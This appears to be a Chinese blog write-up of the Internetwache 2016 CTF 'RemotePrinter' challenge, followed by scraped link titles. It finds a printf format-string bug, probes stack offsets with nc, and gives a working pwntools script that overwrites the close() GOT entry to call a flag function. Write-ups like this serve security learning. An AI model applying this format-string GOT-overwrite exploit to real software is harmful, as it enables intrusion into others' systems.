CTF-Internetwache2016-exp-RemotePrinter
来源:互联网 发布:java notify wait原理 编辑:程序博客网 时间:2024/06/06 01:22
CTF-Internetwache2016-exp-RemotePrinter
自今天开始在csdn记录下有些感想或是某些解题过程。以前只在csdn查询、下载资料,没有想到记录。
Ps:心态爆炸,这个笔记本动一下卡7秒是什么鬼哦
查看给出的二进制文件,
file RemotePrinter
check.sh --file RemotePrinter
RemotePrinter: ELF 32-bit LSB executableRemotePrinter: ELF 32-bit LSB executable
No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH RemotePrinter
拖进虚拟机跑一下,观察行为,同时拖进IDA Pro看看逻辑
ψ(`∇´)ψ,找到了,熟悉的printf(&addr),看来突破口就是这里啦~
不熟悉的朋友可以参考下这个PDF:Format String Exploitation-Tutorial
- 再去虚拟机试试,找找这个值是栈上第几个参数,同时在IDA里面看strings table,发现一个函数
python -c "print 'ABCD'+'.%p'*10" | nc -l 4444
得到这个东西 This is a remote printer!
Enter IPv4 address:127.0.0.1
Enter port:4444
Thank you, I'm trying to print 127.0.0.1:4444 now!
ABCD.0xffbda85c.0x2000.(nil).(nil).(nil).(nil).0x44434241.0x2e70252e.0x252e7025.0x70252e70
#!/usr/bin/env python from pwn import * RemoteP=ELF('./RemotePrinter') close_addr=RemoteP.got['close'] v_str=p32(close_addr)+p32(close_addr+2) flag_addr=0x08048867 head_h=0x0804-8 #len(close_addr)=8 tail_h=0x8867-head_h-8 v_str+="%{}c%8$hn%{}c%7$hn".format(head_h, tail_h) #little endian,首先覆写高位字节,即地址的前2字节 print v_str
好,再来一次看看效果
python Re.py | nv -l 4444
YAY, FLAG: Thanks:)
本地实验,我把flag.txt内容换了…….
- CTF-Internetwache2016-exp-RemotePrinter
- CTF
- ctf
- ctf
- ctf
- CTF
- EXP
- exp
- EXP
- exp
- exp
- exp
- exp
- EXP
- About CTF
- CTF训练
- CTF编码
- 一道CTF
- csdn积分与等级关系
- 【uboot】mips架构uboot启动分析
- 像素与实际尺寸
- VMware Workstation12安装Ubuntu 16.04和VMware Tools教程
- &在.properties和xml文件中差别,导致数据库中文乱码.
- CTF-Internetwache2016-exp-RemotePrinter
- variably modified 'a' at file scope 之减治法---假币问题
- Windows 7 64位用STC ISP下载51单片机程序的方法
- hdu 2544
- 【已解决】android.view.WindowManager$BadTokenException: Unable to add window
- pycharm 运行spark
- 实现apk的更新
- 时间管理
- 2017.4.22 hankson的趣味题 思考记录